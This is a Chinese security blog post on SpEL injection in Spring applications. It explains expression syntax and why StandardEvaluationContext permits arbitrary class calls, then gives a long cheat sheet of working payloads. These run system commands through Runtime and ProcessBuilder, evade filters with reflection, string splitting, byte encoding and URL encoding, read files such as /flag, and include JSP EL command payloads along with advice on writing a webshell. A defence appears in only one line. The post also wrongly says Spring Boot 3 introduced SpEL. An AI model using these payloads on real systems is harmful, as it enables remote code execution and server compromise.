SpEL表达式注入

Last updated on September 27, 2024 am

SpEL基础

Springboot3 开始引入了Spring表达式语言(Spring Expression Language,简称SpEL),可以与基于XML和基于注解的Spring配置还有bean定义一起使用。

Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。

Bean是指一个由Spring容器管理的对象。这个对象可以是任何一个Java类的实例。Bean的主要优势是可以将对象的创建和管理与业务逻辑分离。这使得应用程序更加灵活和易于维护。

SpEL有许多特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

SpEL定界符#{}

所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。

#{}${}区别:

  • #{}就是SpEL的定界符,用于指明内容为SpEL表达式并执行;
  • ${}主要用于加载外部属性文件中的值;
  • 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{'${}'},注意单引号是字符串类型才添加的;

SpEL表达式类型

1
2
3
<property name="message1" value="#{666}"/> #给属性复制
<property name="message" value="the value is #{666}"/> #和字符串混用
<constructor-arg value="#{test}"/> #对bean进行引用,test的其他bean的id

引用类属性

1
2
3
4
<bean id="carl" class="com.spring.entity.Instrumentalist">
<property name="instrument" value="#{kenny.instrument}"/>
<property name="song" value="#{kenny.song}"/>
</bean>

引用类方法

1
<property name="song" value="#{SongSelector.selectSong()}"/>
1
<property name="song" value="#{SongSelector.selectSong()?.toUpperCase()}"/>

?.符号会确保左边的表达式不会为null,如果为null的话就不会调用toUpperCase()方法了,防止抛出NullPointerException错误

类类型表达式

在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法。

使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,因为SpEL已经内置了该包,即该包下的类可以不指定具体的包名;

1
<property name="random" value="#{T(java.lang.Math).random()}"/>

弹计算器

1
2
3
<bean id="helloWorld" class="com.example.spel.HelloWorld">
<property name="message" value="#{T(java.lang.Runtime).getRuntime().exec('calc')}" />
</bean>

SpEL使用

可以使用SpEL的位置:

  • 注解@Value中

    例如:

    1
    2
    3
    4
    5
    6
    7
    public class EmailSender {
    @Value("${spring.mail.username}")
    private String mailUsername;
    @Value("#{ systemProperties['user.region'] }")
    private String defaultLocale;
    //...

  • XML配置(如上面的Beans.xml)

  • 代码块中使用Expression

    SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。

    例如

    1
    2
    3
    4
    5
    ExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression("('Hello' + ' fru1ts').concat(#end)");
    EvaluationContext context = new StandardEvaluationContext();
    context.setVariable("end", "!");
    System.out.println(expression.getValue(context));

    Expression会将传入parseExpression()函数的字符串参数当初SpEL表达式来解析,而无需通过#{}符号来注明

    1
    2
    3
    4
    String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
    ExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(spel);
    System.out.println(expression.getValue());

SpEL表达式注入漏洞

漏洞原理

  • SimpleEvaluationContext :仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用
  • StandardEvaluationContext (默认):支持全部SpEL语法

SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

探测

  • 源码里面找类
1
2
3
org.springframework.expression.Expression
org.springframework.expression.ExpressionParser
org.springframework.expression.spel.standard.SpelExpressionParser
  • 找特征
1
2
3
4
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(str);
expression.getValue()
expression.setValue()

常见POC与绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// PoC原型
#Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

#ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

// Bypass技巧

#反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

#同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

# 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

# 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

# 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

# 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

# JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

# JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

# JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

# 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

# JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

#java.nio读文件
''.class.forName('java.nio.charset.StandartCharsets').UTF_8.decode(''.class.forName('java.nio.ByteBuffer').wrap(''.class.forname('java.nio.file.Files'),readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
message = input('Enter message to encode:')

print('Decoded string (in ASCII):\n')

print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')

print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(',%s' % ord(ch), end=""),
print(')}')

其他payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)

${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径

${header} 文件头参数

${applicationScope} 获取webRoot

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令


// 渗透思路:获取webroot路径,exec执行命令echo写入一句话。

<p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径
过滤T(
1
''.class.forname('java.lang.Runtime')

防御

使用SimpleEvaluationContext替换StandardEvaluationContext

参考

https://www.mi1k7ea.com/2020/01/10/SpEL表达式注入漏洞总结/

https://forum.butian.net/share/2483


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/05/28/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!